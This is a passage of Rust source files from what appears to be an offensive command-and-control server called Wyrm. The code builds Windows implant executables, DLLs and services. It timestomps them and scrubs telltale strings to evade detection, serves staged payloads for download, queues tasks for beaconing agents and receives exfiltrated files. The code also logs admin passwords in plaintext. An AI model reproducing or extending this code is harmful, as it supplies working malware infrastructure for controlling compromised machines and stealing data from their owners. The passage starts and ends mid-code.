returned to the user. // if let Some(ts) = data.timestomp.as_ref() { if let Err(e) = timestomp_binary_compile_date(ts, &dest).await { let msg = format!("Could not timestomp binary {}, {e}", dest.display()); log_error_async(&msg).await; } } // // Scrub implant.dll out // if stage_type == StageType::Dll { if let Err(e) = scrub_strings(&dest, b"implant.dll\0", None).await { log_error_async(&format!("Failed to scrub implant.dll. {e}")).await; }; } // // Scrub user defined strings // if let Some(stomp) = &data.string_stomp { if let Some(inner) = &stomp.remove { for needle in inner { if let Err(e) = scrub_strings(&dest, needle.as_bytes(), None).await { log_error_async(&format!( "Failed to scrub string {needle} from {}. {e}", dest.display() )) .await; }; } } if let Some(inner) = &stomp.replace { for (needle, repl) in inner { if let Err(e) = scrub_strings(&dest, needle.as_bytes(), Some(repl.as_bytes())).await { log_error_async(&format!( "Failed to replace string {needle} from {}. {e}", dest.display() )) .await; }; } } } } pub async fn write_implant_to_tmp_folder<'a>( profile: &Profile, save_path: &'a PathBuf, implant_profile_name: &str, state: State>, ) -> Result<(), String> { // // Transform the profile into a valid `NewAgentStaging` // let data: NewAgentStaging = match profile.as_staged_agent(implant_profile_name, StageType::All) { WyrmResult::Ok(d) => d, WyrmResult::Err(e) => { let _ = remove_dir(&save_path).await?; let msg = format!("Error constructing a NewAgentStaging. {e:?}"); log_error_async(&msg).await; return Err(msg); } }; // // For every build type, build it - we manually specify the loop size here so as more // build options are added, the loop will need to be increased to accommodate. // for i in 0..3 { let stage_type = match i { 0 => StageType::Exe, 1 => StageType::Dll, 2 => StageType::Svc, _ => unreachable!(), }; // Actually try build with cargo let cmd_build_output = compile_agent(&data, stage_type).await; if let Err(e) = cmd_build_output { let msg = &format!("Failed to build agent. {e}"); let _ = remove_dir(&save_path).await?; return Err(msg.to_owned()); } let output = cmd_build_output.unwrap(); if !output.status.success() { let msg = &format!( "Failed to build agent. {:#?}", String::from_utf8_lossy(&output.stderr), ); let _ = remove_dir(&save_path).await?; return Err(msg.to_owned()); } // // Move the built implant to where the operator requested it to be built in // let dir_name = { match data.build_debug { true => "debug", false => "release", } }; let src_dir = if cfg!(windows) { PathBuf::from(format!("./implant/target/{dir_name}")) } else { PathBuf::from(format!( "./implant/target/x86_64-pc-windows-msvc/{dir_name}" )) }; let out_dir = Path::new(&save_path); let src = match stage_type { StageType::Dll => src_dir.join("implant.dll"), StageType::Exe => src_dir.join("implant.exe"), StageType::Svc => src_dir.join("implant_svc.exe"), StageType::All => unreachable!(), }; let mut dest = out_dir.join(&data.pe_name); if !(match stage_type { StageType::Dll => dest.add_extension("dll"), StageType::Exe => dest.add_extension("exe"), StageType::Svc => dest.add_extension("svc"), StageType::All => unreachable!(), }) { let msg = format!("Failed to add extension to local file. {dest:?}"); let _ = remove_dir(&save_path).await?; return Err(msg); }; // Error check.. if let Err(e) = tokio::fs::rename(&src, &dest).await { let cwd = current_dir().expect("could not get cwd"); let msg = format!( "Failed to rename built agent - it is *possible* you interrupted the request/page, looking for: {}, to rename to: {}. Cwd: {cwd:?} {e}", src.display(), dest.display() ); let _ = remove_dir(&save_path).await?; return Err(msg); }; // // Update state to include a new endpoint for the listeners // if let Err(e) = is_download_staging_url_error(&data, &state).await { let msg = format!( "The download URL matches an existing one, or a URL which is used for agent check-in, \ this is not permitted. Kind: {e:?}" ); let _ = remove_dir(&save_path).await?; return Err(msg); } post_process_pe_on_disk(&dest, &data, stage_type).await; // // Build the loader for the DLL // if stage_type == StageType::Dll { let p = format!("{}/{}.dll", FULLY_QUAL_PATH_TO_FILE_BUILD, data.pe_name); let dll_path = PathBuf::from(p); if !dll_path.exists() { panic!( "DLL path for the raw binary did not exist. This is not acceptable. Expected path: {}", dll_path.display() ); } write_loader_to_tmp(profile, save_path, implant_profile_name, &dll_path).await?; } } Ok(()) } /// Validates the extension of the build target matches that expected by the operator /// after building takes place. fn validate_extension(name: &String, expected_type: StageType) -> String { let mut new_name = String::from(name); match expected_type { StageType::Dll => { if !new_name.ends_with(".dll") && (name.ends_with(".exe") || name.ends_with(".svc")) { let _ = new_name.replace(".exe", ""); let _ = new_name.replace(".svc", ""); new_name.push_str(".dll"); } else { new_name.push_str(".dll"); } } StageType::Exe => { if !new_name.ends_with(".exe") && (name.ends_with(".dll") || name.ends_with(".svc")) { let _ = new_name.replace(".dll", ""); let _ = new_name.replace(".svc", ""); new_name.push_str(".exe"); } else { new_name.push_str(".exe"); } } StageType::Svc => { if !new_name.ends_with(".exe") && (name.ends_with(".dll") || name.ends_with(".svc")) { let _ = new_name.replace(".dll", ""); let _ = new_name.replace(".exe", ""); new_name.push_str(".svc"); } else { new_name.push_str(".svc"); } } StageType::All => unreachable!(), } new_name } /// Prints an error to the C2 console and returns a formatted error. /// /// **IMPORTANT**: This function will also delete the staged_agent row from the database by it's `implant_name`. async fn stage_new_agent_error_printer( message: &str, uri: &str, state: State>, ) -> Option { log_error_async(message).await; let _ = state.db_pool.delete_staged_resource_by_uri(uri).await; let serialised = serde_json::to_value(WyrmResult::Err::(message.to_string())).unwrap(); Some(serialised) } /// Stages a file uploaded to the C2 by an admin which will be made available for public download /// at a specified API endpoint. pub async fn stage_file_upload_from_users_disk( data: FileUploadStagingFromClient, state: State>, ) -> Option { let out_dir = Path::new(FILE_STORE_PATH); let dest = out_dir.join(&data.download_name); if let Err(e) = fs::write(&dest, &data.file_data).await { let serialised = serde_json::to_value(WyrmResult::Err::(format!( "Failed to write file on C2: {e:?}", ))) .unwrap(); return Some(serialised); } let agent_stage_template = NewAgentStaging::from_staged_file_metadata(&data.api_endpoint, &data.download_name); // // Try insert into the database, following that, deconflict the download URI and add it into the in-memory // list. // if let Err(e) = state.db_pool.add_staged_agent(&agent_stage_template).await { log_error_async(&format!("Failed to insert row in db: {e:?}")).await; let serialised = serde_json::to_value(WyrmResult::Err::(format!( "Failed to insert row in db for new staged agent: {e:?}", ))) .unwrap(); return Some(serialised); }; if let Err(e) = add_api_endpoint_for_staged_resource(&agent_stage_template, state.clone()).await { return stage_new_agent_error_printer( &format!( "The download URL matches an existing one, or a URL which is used for agent \ check-in, this is not permitted. Kind: {e:?}" ), &data.download_name, state, ) .await; }; let serialised = match serde_json::to_value(WyrmResult::Ok(format!( "File successfully uploaded, and is being served at /{}. File name: {}", data.api_endpoint, data.download_name, ))) { Ok(s) => s, Err(e) => { return stage_new_agent_error_printer( &format!("Failed to serialise response. {e}"), &data.download_name, state, ) .await; } }; Some(serialised) } ================================================ FILE: c2/src/admin_task_dispatch/mod.rs ================================================ use std::{ path::{Path, PathBuf}, sync::Arc, }; use crate::{ DB_EXPORT_PATH, FILE_STORE_PATH, app_state::{AppState, DownloadEndpointData}, logging::{log_error, log_error_async}, }; use axum::extract::State; use chrono::{SecondsFormat, Utc}; use serde_json::Value; use shared::tasks::{ Command, DELIM_FILE_DROP_METADATA, FileDropMetadata, NewAgentStaging, WyrmResult, }; use shared_c2_client::{AgentC2MemoryNotifications, MapToMitre, TaskExport}; use tokio::{fs, io::AsyncWriteExt}; pub mod dispatch_table; mod execute; pub mod implant_builder; async fn remove_dir(save_path: impl AsRef) -> Result<(), String> { if let Err(e) = fs::remove_dir_all(save_path).await { let msg = format!("Failed to remove directory for tmp after building profiles. {e}"); log_error_async(&msg).await; return Err(msg); } Ok(()) } async fn remove_file(file_path: impl AsRef) -> Result<(), String> { if let Err(e) = fs::remove_file(file_path.as_ref()).await { let msg = format!("Failed to remove file for tmp.7z after building profiles. {e}"); log_error_async(&msg).await; return Err(msg); } Ok(()) } async fn list_agents(state: State>) -> Option { let mut new_agents: Vec = Vec::new(); let agents = state.connected_agents.snapshot_agents().await; for agent in agents { let last_check_in = agent .last_checkin_time .to_rfc3339_opts(chrono::SecondsFormat::Secs, true); let formatted = format!( "\t{}\t\t{}\t{}\t{}", agent.uid, last_check_in, agent.first_run_data.b, agent.first_run_data.c, ); let new_messages = pull_notifications_for_agent(agent.uid.clone(), state.clone()).await; new_agents.push((formatted, agent.is_stale, new_messages)); } Some(serde_json::to_value(&new_agents).expect("could not serialise")) } /// Inserts a new task for the agent where the format of the task metadata is already valid. This function is /// just a wrapper for a database interaction. /// /// # Returns /// None - the task is queued and the resulting data can be made available with the 'n' function on the cli. async fn task_agent>( command: Command, metadata: Option, uid: String, state: State>, ) -> Option { let metadata = metadata.map(|t| t.into()); state .db_pool .add_task_for_agent_by_id(&uid, command, metadata) .await .unwrap(); None } /// Inserts a new task in the db instructing the agent to alter its sleep time. This will also be reflected in the /// agent's metadata on the agent db entry for persistence. async fn task_agent_sleep(time: i64, uid: String, state: State>) -> Option { let time_as_str = time.to_string(); state .db_pool .update_agent_sleep_time(&uid, time) .await .unwrap(); state .db_pool .add_task_for_agent_by_id(&uid, Command::Sleep, Some(time_as_str)) .await .unwrap(); // We dont have any metadata to send back to the client, so an empty vec is sufficient None } /// Queries the database for the pending notifications for a given agent, and then marks them as pulled. async fn pull_notifications_for_agent(uid: String, state: State>) -> Option { // Used to store the completed ID's we took from the DB to mark them as // pulled. let mut ids = Vec::new(); // // Pulling the notifications will also mark as complete; so grab them and return // let agent_notifications = match state.db_pool.pull_notifications_for_agent(&uid).await { Ok(inner) => { let inner = inner.map(|t| { t.iter().for_each(|n| ids.push(n.completed_id)); serde_json::to_value(&t).unwrap() }); if inner.is_none() { return inner; } else { inner } } Err(e) => { log_error_async(&format!( "Could not pull notifications for agent {uid}. {e}" )) .await; return None; } }; agent_notifications } /// Returns the time of the server in UTC fn show_server_time() -> Option { let time_now = Utc::now(); let time_now_snipped = time_now.to_rfc3339_opts(SecondsFormat::Secs, true); match serde_json::to_value(&time_now_snipped) { Ok(time) => Some(time), Err(e) => { let s = format!("Failed to serialise server time. {e}"); Some(serde_json::to_value(&s).unwrap()) } } } /// Lists staged resources on the C2, such as staged agents async fn list_staged_resources(state: State>) -> Option { let results = match state.db_pool.get_staged_agent_data().await { Ok(r) => WyrmResult::Ok(r), Err(e) => { log_error_async(&format!("Failed to list resources: {e:?}")).await; WyrmResult::Err(e.to_string()) } }; let ser = serde_json::to_value(results).unwrap(); Some(ser) } /// Deletes a staged resource from the database by its internal stage name async fn delete_staged_resources( state: State>, download_endpoint: String, ) -> Option { // Delete from db let results = state .db_pool .delete_staged_resource_by_uri(&download_endpoint) .await .unwrap(); { // remove the download stage from the in memory list let mut lock = state.endpoints.write().await; lock.download_endpoints.remove(&download_endpoint); } // Delete from disk let mut file_to_delete = PathBuf::from(FILE_STORE_PATH); file_to_delete.push(results); tokio::fs::remove_file(&file_to_delete).await.unwrap(); let ser = serde_json::to_value(()).unwrap(); Some(ser) } async fn remove_agent_from_list(state: State>, agent_name: String) -> Option { state.connected_agents.remove_agent(&agent_name).await; None } /// Error state which could occur when trying to add a stage or file to the C2 #[derive(Debug)] enum StageError { EndpointExistsDownload, EndpointExistsCheckIn, } /// Adds an API endpoint for public use on the C2 which relates to a custom file / a new agent uploaded /// by the admin on the client. /// /// The function handles errors and deconflictions, ensuring that we do not cause any duplication. If no errors are /// encountered, it will insert the relevant data into the in-memory structures. /// /// This function does **not** handle database insertions, and assumes they have already been done / will be done /// hereafter. /// /// # Returns /// - `Ok`: If successful, unit Ok is returned /// - `Err`: If there is an error adding a URI, the error is returned as a [`StageError`] async fn add_api_endpoint_for_staged_resource( data: &NewAgentStaging, state: State>, ) -> Result<(), StageError> { // Check we dont overlap incompatible URI's is_download_staging_url_error(data, &state).await?; let mut server_endpoints = state.endpoints.write().await; server_endpoints.download_endpoints.insert( data.staging_endpoint.clone(), DownloadEndpointData::new(&data.pe_name, &data.implant_name, None), ); Ok(()) } /// Checks whether a staged URI exists in a way which is incompatible. For example, you cannot have two /// download URI's that overlap, and you cannot have a checkin URI overlapping with a download URI. async fn is_download_staging_url_error( data: &NewAgentStaging, state: &State>, ) -> Result<(), StageError> { // // Check for conflicts with download and staging API's, that is what we look for in the first // three vars, `c2_conflicts_download`, `staging_conflicts_c2` & `staging_conflicts_self` // let server_endpoints = state.endpoints.read().await; for e in &data.c2_endpoints { if server_endpoints.download_endpoints.contains_key(e) == true { return Err(StageError::EndpointExistsDownload); } } // Check the existing C2 endpoints with the proposed staging endpoint (only in the case // where the operator is building manually as opposed to the profile). Building via the profile // currently results in a empty string "", which is why we do this check. if !data.staging_endpoint.is_empty() && server_endpoints .c2_endpoints .contains(&data.staging_endpoint) { return Err(StageError::EndpointExistsCheckIn); } if server_endpoints .download_endpoints .contains_key(&data.staging_endpoint) { return Err(StageError::EndpointExistsDownload); } Ok(()) } /// Handler for instructing the agent to drop a file to disk. async fn drop_file_handler( uid: Option, mut data: FileDropMetadata, state: State>, ) -> Option { // check we dont have the delimiter in the input if data.download_name.contains(DELIM_FILE_DROP_METADATA) || data.internal_name.contains(DELIM_FILE_DROP_METADATA) || data .download_uri .as_deref() .unwrap_or_default() .contains(DELIM_FILE_DROP_METADATA) { return Some( serde_json::to_value(WyrmResult::Err::(format!( "Content cannot contain {DELIM_FILE_DROP_METADATA}" ))) .unwrap(), ); } let Some(download_uri) = state .endpoints .read() .await .find_format_download_endpoint(&data.internal_name) else { let msg = format!( "Could not find staged file when instructing agent to drop a file to disk. Looking for file name: '{}' \ but it does not exist in memory.", data.internal_name ); log_error_async(&msg).await; return Some(serde_json::to_value(WyrmResult::Err::(msg)).unwrap()); }; data.download_uri = Some(download_uri); task_agent::(Command::Drop, Some(data.into()), uid.unwrap(), state).await } /// Exports the completed tasks on an agent (by its ID) to a json file in the C2 filesystem async fn export_completed_tasks_to_json(uid: String, state: State>) -> Option { // // This whole block here just unwraps explicitly twice safely through matches trying to get the inner // data. If there was an error or there was no data, this is handled and the function will immediately // return. Using thiserror or using maps may be a little nicer... // let results = match state.db_pool.get_agent_export_data(uid.as_str()).await { Ok(r) => match r { Some(r) => { if r.is_empty() { let msg = format!("Tasks for implant: {uid} were empty"); log_error(&msg); return Some(serde_json::to_value(msg).unwrap()); } r } None => { let msg = format!("Tasks for implant: {uid} were empty"); log_error(&msg); return Some(serde_json::to_value(msg).unwrap()); } }, Err(e) => { let msg = format!( "Error encountered for implant: {uid} when trying to fetch completed tasks. {e}" ); log_error(&msg); return Some(serde_json::to_value(msg).unwrap()); } }; // Serialise let mut results_with_mitre: Vec = Vec::with_capacity(results.len()); for task in &results { results_with_mitre.push(TaskExport::new(task, task.command.map_to_mitre())); } let json_export = serde_json::to_string(&results_with_mitre) .map_err(|e| { let msg = format!("Could not serialise db results for agent: {uid}. {e}"); log_error(&msg); Some(serde_json::to_value(msg).unwrap()) }) .unwrap(); // // Try write the data to the fs // let mut path = PathBuf::from(DB_EXPORT_PATH); path.push(&uid); path.add_extension("json"); let mut file = tokio::fs::OpenOptions::new() .write(true) .read(true) .create(true) .truncate(true) .open(&path) .await .map_err(|e| { let msg = format!( "Could not create db export file on fs for agent: {uid}. Path: {}, {e}", path.display() ); log_error(&msg); Some(serde_json::to_value(msg).unwrap()) }) .unwrap(); if let Err(e) = file.write(json_export.as_bytes()).await { log_error(&format!( "Could not write to output file {} for agent: {uid}. {e}", path.display() )); return None; }; Some(serde_json::to_value(format!("File exported as {uid}")).unwrap()) } ================================================ FILE: c2/src/agents.rs ================================================ use std::{collections::HashMap, sync::Arc}; use axum::http::HeaderMap; use chrono::{DateTime, Duration, Utc}; use serde::{Deserialize, Serialize}; use shared::tasks::{Command, FirstRunData, Task, tasks_contains_kill_agent}; use tokio::{sync::RwLock, time::timeout}; use crate::{db::Db, logging::log_error_async}; #[derive(Serialize, Deserialize, Clone)] pub struct Agent { pub uid: String, pub sleep: u64, pub first_run_data: FirstRunData, pub last_checkin_time: DateTime, pub is_stale: bool, } impl Agent { /// Creates a new agent by querying the database. If the agent exists in the database, that will be /// returned, otherwise, a new agent will be inserted and that will be returned. async fn from_first_run_data( id: &str, db: &Db, frd: FirstRunData, ) -> Result<(Agent, Option>), String> { match db.get_agent_with_tasks_by_id(id, frd.clone()).await { Ok((agent, tasks)) => Ok((agent, tasks)), Err(e) => match e { sqlx::Error::RowNotFound => { // Add the new agent into the db, and also return with it an empty vec let new_agent = db .insert_new_agent(id, frd) .await .map_err(|e| e.to_string())?; return Ok((new_agent, None)); } _ => { return Err(e.to_string()); } }, } } pub fn get_config_data(&self) -> Vec { // // Here we. can push any tasks to the queue which we want the implant to execute at the point // of its first run, to set up any of its environment / runtime related tasks. For example, we can // set its sleep to be the last sleep setting the operator changed it to, where that would differ // from what is hardcoded. // vec![Task { id: 0, command: Command::UpdateSleepTime, metadata: Some(self.sleep.to_string()), completed_time: 0, }] } } type AgentHandle = Arc>; /// AgentList holds data pertaining to the in-memory representation of all active agents connected /// to the C2. pub struct AgentList { // Each agent is represented by a HashMap where the Key is the ID, and the value is the Agent agents: RwLock>, } impl AgentList { pub fn default() -> Self { Self { agents: RwLock::new(HashMap::new()), } } async fn snapshot_handles(&self) -> Vec { let lock = self.agents.read().await; lock.values().cloned().collect() } pub async fn snapshot_agents(&self) -> Vec { let handles = self.snapshot_handles().await; let mut agents = Vec::with_capacity(handles.len()); for handle in handles { let agent = handle.read().await; agents.push(agent.clone()); } agents } /// Enumerates over all agents, determines whether an it is stale by calculating if we have /// gone past the expected check-in time of the agent by some time, `n` (where `n` is in seconds). pub async fn mark_agents_stale(&self) { let handles = self.snapshot_handles().await; for handle in handles { let (sleep, last_checkin_time) = { let lock = handle.read().await; (lock.sleep, lock.last_checkin_time) }; let margin = Duration::seconds(calculate_max_time_till_stale(sleep).await); let now: DateTime = Utc::now(); let mut lock = handle.write().await; lock.is_stale = last_checkin_time + Duration::seconds(sleep as _) + margin < now; } } /// Gets an [`Agent`] from the HTTP request headers; if no such agent is currently connected /// an agent will be returned and added to the live list of agents. /// /// # Returns /// - An owned **copy** of the agent in the live list /// - An option of a Vector of Tasks, to be completed by the agent pub async fn get_agent_and_tasks_by_header( &self, headers: &HeaderMap, db: &Db, first_run_data: Option, ) -> Result<(Agent, Option>), String> { // Lookup the agent ID by extracting it from the headers let agent_id = extract_agent_id(headers)?; let mut re_request_frd: bool = false; // // Get or insert the agent // let existing = { let lock = self.agents.read().await; lock.get(&agent_id).cloned() }; let handle: AgentHandle = if let Some(entry) = existing { entry } else { let Ok(db_call) = timeout( tokio::time::Duration::from_secs(5), Agent::from_first_run_data( &agent_id, db, first_run_data.clone().unwrap_or_default(), ), ) .await else { return Err("DB timeout in critical path".to_string()); }; let (new_agent, _) = match db_call { Ok(result) => result, Err(e) => { return Err(format!("Failed to complete from_first_run_data. {e}")); } }; let arc = Arc::new(RwLock::new(new_agent)); let mut lock = self.agents.write().await; if let Some(existing) = lock.get(&agent_id) { Arc::clone(existing) } else { re_request_frd = first_run_data.is_none(); lock.insert(agent_id.clone(), arc.clone()); arc } }; // // Update in place // let mut agent_for_db = { let mut lock = handle.write().await; if let Some(frd) = first_run_data { lock.first_run_data = frd; } lock.clone() }; if let Err(e) = db.update_agent_checkin_time(&mut agent_for_db).await { return Err(format!("Failed to update checkin time. {e}")); } { let mut lock = handle.write().await; lock.last_checkin_time = agent_for_db.last_checkin_time; lock.first_run_data = agent_for_db.first_run_data.clone(); } let Ok(mut tasks) = db.get_tasks_for_agent_by_uid(&agent_id).await else { return Err("Failed to get tasks for agent by UID.".to_string()); }; // Here is where we handle the case of needing to task first run data again if re_request_frd { let task = Task { id: 0, command: Command::AgentsFirstSessionBeacon, metadata: None, completed_time: 0, }; match tasks.as_mut() { Some(tasks) => { tasks.push(task); } None => tasks = Some(vec![task]), } } let snapshot = { let agent_guard = handle.read().await; agent_guard.clone() }; Ok((snapshot, tasks)) } pub async fn contains_agent_by_id(&self, id: &str) -> bool { let lock = self.agents.read().await; lock.contains_key(id) } pub async fn remove_agent(&self, id: &str) { let mut lock = self.agents.write().await; lock.remove(id); } } /// Extracts the agent ID from the headers. /// /// # Panics /// This function will panic the request should the agent ID (or any WWW-Authenticate header) not be found. /// This is acceptable as we don't want to handle these requests.. pub fn extract_agent_id(headers: &HeaderMap) -> Result { let Some(result) = headers.get("WWW-Authenticate") else { return Err("No agent id found in request".to_string()); }; let Ok(result) = result.to_str() else { return Err("Could not convert agent header to str".to_string()); }; Ok(result.to_string()) } /// Checks whether the agent has the kill command as part of its tasks. /// /// If the command is present, the agent will be removed from the list of active agents. pub async fn handle_kill_command( agent_list: Arc, agent: &Agent, tasks: &Option>, ) { if tasks.is_none() { return; } if let Some(t) = tasks.as_ref() { if tasks_contains_kill_agent(t) { agent_list.remove_agent(&agent.uid).await; } } } /// Calculates the maximum time the agent can sleep for before becoming stale, and is set to /// double the sleep time. /// /// # Returns /// An `i64` of the time to wait before marking as stale. If there is an integer error (value becomes /// negative, overflows) during operations, an error will be logged and instead the return value will be /// the sleep time of the agent + 1 hr. async fn calculate_max_time_till_stale(sleep: u64) -> i64 { const MAX_SLEEP_TILL_STALE_MUL: u64 = 2; let res = match sleep.checked_mul(MAX_SLEEP_TILL_STALE_MUL) { Some(s) => s, None => { log_error_async(&format!( "Failed to multiply sleep time from input time: {sleep}." )) .await; sleep } } as i64; if res.is_negative() { log_error_async(&format!("Sleep time was negative time: {res}.")).await; return sleep as i64; } res } ================================================ FILE: c2/src/api/admin_routes.rs ================================================ use std::{net::SocketAddr, sync::Arc}; use crate::{ AUTH_COOKIE_NAME, COOKIE_TTL, admin_task_dispatch::{dispatch_table::admin_dispatch, implant_builder::build_all_bins}, app_state::AppState, logging::{log_admin_login_attempt, log_error_async}, middleware::{create_new_operator, verify_password}, }; use axum::{ Json, extract::{Multipart, Path, State}, http::{ HeaderMap, StatusCode, header::{CONTENT_DISPOSITION, CONTENT_TYPE}, }, response::{Html, IntoResponse, Response}, }; use axum_extra::extract::{ CookieJar, cookie::{Cookie, SameSite}, }; use shared::{ net::AdminLoginPacket, tasks::{AdminCommand, BaBData, FileUploadStagingFromClient, WyrmResult}, }; pub async fn handle_admin_commands_on_agent( state: State>, Path(uid): Path, command: Json, ) -> (StatusCode, Vec) { let response_body_serialised = admin_dispatch(Some(uid), command.0, state).await; (StatusCode::ACCEPTED, response_body_serialised) } pub async fn handle_admin_commands_without_agent( state: State>, command: Json, ) -> (StatusCode, Vec) { let response_body_serialised = admin_dispatch(None, command.0, state).await; (StatusCode::ACCEPTED, response_body_serialised) } pub async fn poll_agent_notifications( state: State>, Path(uid): Path, ) -> (StatusCode, String) { match state.db_pool.agent_has_pending_notifications(&uid).await { Ok(has_pending) => { if has_pending || state.connected_agents.contains_agent_by_id(&uid).await { (StatusCode::OK, has_pending.to_string()) } else { (StatusCode::NOT_FOUND, has_pending.to_string()) } } Err(e) => { log_error_async(&format!("Error polling pending notifications. {e}")).await; (StatusCode::INTERNAL_SERVER_ERROR, "".to_string()) } } } pub async fn build_all_binaries_handler( state: State>, Json(data): Json, ) -> Response { let result = build_all_bins(&data.implant_key, state).await; match result { Ok(zip_bytes) => { // // Prepare the data response back to the client and send it. // let filename = format!("{}.7z", data.implant_key); ( StatusCode::ACCEPTED, [ (CONTENT_TYPE, "application/x-7z-compressed".to_string()), ( CONTENT_DISPOSITION, format!("attachment; filename=\"{}\"", filename), ), ], zip_bytes, ) .into_response() } Err(e) => { log_error_async(&e).await; ( StatusCode::INTERNAL_SERVER_ERROR, Html(format!("Error building binaries: {e}",)), ) .into_response() } } } pub async fn admin_login( jar: CookieJar, state: State>, headers: HeaderMap, Json(body): Json, ) -> (CookieJar, Response) { let ip = if let Some(h) = headers.get("X-Forwarded-For") { h.to_str().unwrap_or("Not Found") } else { "Not found" }; let username = body.username; let password = body.password; // Lookup the operator from the db, if its empty we will create the user in the inner match here. let operator = match state.db_pool.lookup_operator(&username).await { Ok(o) => o, Err(e) => { match e { sqlx::Error::RowNotFound => { // The db is empty so create the user. The db insert function checks // for us if a user already exists, if so, it will panic as we don't want anybody // and everybody creating accounts! And we aren't yet multiplayer // create_new_operator(username, password, state.clone()).await; create_new_operator(&username, &password, state.0.clone()).await; log_admin_login_attempt(&username, &password, ip, true).await; // Now try get the user again, and continue execution state.db_pool.lookup_operator(&username).await.unwrap() } _ => { log_error_async(&format!( "There was an error with the db whilst trying to log in with creds: \ {username} {password}. {e}", )) .await; log_admin_login_attempt(&username, &password, ip, false).await; return (jar, StatusCode::INTERNAL_SERVER_ERROR.into_response()); } } } }; // We got a result.. lets check the password if let Some((db_username, db_hash, db_salt)) = operator { // Check the username is the same as the db username, as we are doing single operator ops right now // we dont want to allow for easier password spraying, at least username is one additional step of // complexity. if username.ne(&db_username) { log_admin_login_attempt(&username, &password, ip, false).await; return (jar, StatusCode::NOT_FOUND.into_response()); } if verify_password(&password, &db_hash, &db_salt).await { // At this point in here we have successfully authenticated.. log_admin_login_attempt(&username, &password, ip, true).await; let sid = state.create_session_key().await; let cookie = Cookie::build((AUTH_COOKIE_NAME, sid)) .path("/") .http_only(true) .same_site(SameSite::None) .max_age(COOKIE_TTL.try_into().unwrap()) .secure(true) .build(); let jar = jar.add(cookie); return (jar, (StatusCode::ACCEPTED).into_response()); } else { // Bad password... log_admin_login_attempt(&username, &password, ip, false).await; return (jar, StatusCode::NOT_FOUND.into_response()); } } // // Anything that falls through to this point is invalid // log_admin_login_attempt(&username, &password, ip, false).await; (jar, StatusCode::NOT_FOUND.into_response()) } /// Public route that is reachable only by the admin after going through /// the middleware, serves as a health check as to whether their token is /// valid or not. pub async fn is_adm_logged_in() -> Response { StatusCode::OK.into_response() } pub async fn logout() -> Response { StatusCode::ACCEPTED.into_response() } pub async fn admin_upload( State(state): State>, mut multipart: Multipart, ) -> StatusCode { let mut file_bytes = Vec::new(); let mut download_name = String::new(); let mut api_endpoint = String::new(); while let Some(field) = multipart.next_field().await.unwrap_or(None) { match field.name() { Some("file") => { let fname = field.file_name().map(|f| f.to_string()); let bytes = field.bytes().await.unwrap_or_default(); file_bytes = bytes.to_vec(); if download_name.is_empty() { if let Some(fname) = fname { download_name = fname; } } } Some("download_name") => download_name = field.text().await.unwrap_or_default(), Some("api_endpoint") => api_endpoint = field.text().await.unwrap_or_default(), _ => {} } } if download_name.is_empty() || api_endpoint.is_empty() || file_bytes.is_empty() { return StatusCode::BAD_REQUEST; } let data = FileUploadStagingFromClient { download_name, api_endpoint, file_data: file_bytes, }; let res = admin_dispatch(None, AdminCommand::StageFileOnC2(data), State(state)).await; StatusCode::from_u16( serde_json::from_slice::>>(&res) .map(|r| { if matches!(r, Some(WyrmResult::Ok(_))) { 202 } else { 500 } }) .unwrap_or(500), ) .unwrap_or(StatusCode::INTERNAL_SERVER_ERROR) } ================================================ FILE: c2/src/api/agent_get.rs ================================================ use std::sync::Arc; use crate::{ agents::handle_kill_command, app_state::AppState, logging::log_error_async, net::{serialise_tasks_for_agent, serve_file}, }; use axum::{ extract::{Path, Request, State}, http::StatusCode, response::{IntoResponse, Response}, }; /// Handles the inbound connection, after authentication has validated the agent. /// /// This is very much the 'end destination' for the inbound connection. #[axum::debug_handler] pub async fn handle_agent_get(state: State>, request: Request) -> Response { // Get the agent by its header, and fetch tasks from the db let (agent, tasks) = match state .connected_agents .get_agent_and_tasks_by_header(request.headers(), &state.clone().db_pool, None) .await { Ok((a, t)) => (a, t), Err(e) => { log_error_async(&e).await; return StatusCode::BAD_GATEWAY.into_response(); } }; // Check whether the kill command is present and the agent needs removing from the live list.. handle_kill_command(state.connected_agents.clone(), &agent, &tasks).await; serialise_tasks_for_agent(tasks).await.into_response() } /// Handles the inbound connection when the URI contains a path. The function will check to see if the path /// is present in either the active C2 listener endpoints, or whether it is used to serve content. #[axum::debug_handler] pub async fn handle_agent_get_with_path( state: State>, Path(endpoint): Path, request: Request, ) -> Response { let state_arc = Arc::clone(&state); // // First check whether the URI is in the valid GET endpoints for the agent // let endpoints = { let tmp = state_arc.endpoints.read().await; tmp.clone() }; if endpoints.c2_endpoints.contains(&endpoint) { // There is no need to authenticate here, that is done subsequently during // `handle_agent_get` where we pull the agent_id from the header drop(endpoints); return handle_agent_get(state, request).await.into_response(); } // // Now we check whether it was a request to the download URI, if it is, we can serve that content // over to them. // if let Some(metadata) = endpoints.download_endpoints.get(&endpoint) { if let Err(e) = state.db_pool.update_download_count(&endpoint).await { log_error_async(&format!("Could not update download count. {e}")).await; }; let filename = &metadata.file_name; return serve_file(filename, metadata.xor_key).await.into_response(); } StatusCode::BAD_GATEWAY.into_response() } ================================================ FILE: c2/src/api/agent_post.rs ================================================ use std::sync::Arc; use crate::{ EXFIL_PATH, agents::{extract_agent_id, handle_kill_command}, app_state::AppState, exfil::handle_exfiltrated_file, logging::log_error_async, net::serialise_tasks_for_agent, }; use axum::{ Json, body::Body, extract::{FromRequest, Multipart, Path, Request, State}, http::{HeaderMap, StatusCode, header::CONTENT_TYPE}, response::IntoResponse, }; use futures::{StreamExt, TryStreamExt}; use shared::{ net::{XorEncode, decode_http_response}, tasks::{Command, FirstRunData}, }; use tokio::io::AsyncWriteExt; pub async fn agent_post_handler_with_path( state: State>, headers: HeaderMap, Path(endpoint): Path, req: Request, ) -> impl IntoResponse { let state_arc = Arc::clone(&state); { let lock = state_arc.endpoints.read().await; if lock.c2_endpoints.contains(&endpoint) { drop(lock); if is_multipart(req.headers()) { match Multipart::from_request(req, &state).await { Ok(mp) => return receive_exfil(mp).await.into_response(), Err(_) => return StatusCode::BAD_REQUEST.into_response(), } } let json = match Json::>>::from_request(req, &state).await { Ok(payload) => payload, Err(_) => return StatusCode::BAD_REQUEST.into_response(), }; return handle_agent_post_standard(state, headers, json) .await .into_response(); } } // endpoint not found / valid StatusCode::BAD_GATEWAY.into_response() } pub async fn agent_post_handler( state: State>, headers: HeaderMap, req: Request, ) -> impl IntoResponse { if is_multipart(req.headers()) { match Multipart::from_request(req, &state).await { Ok(mp) => return receive_exfil(mp).await.into_response(), Err(_) => return StatusCode::BAD_REQUEST.into_response(), } } let json = match Json::>>::from_request(req, &state).await 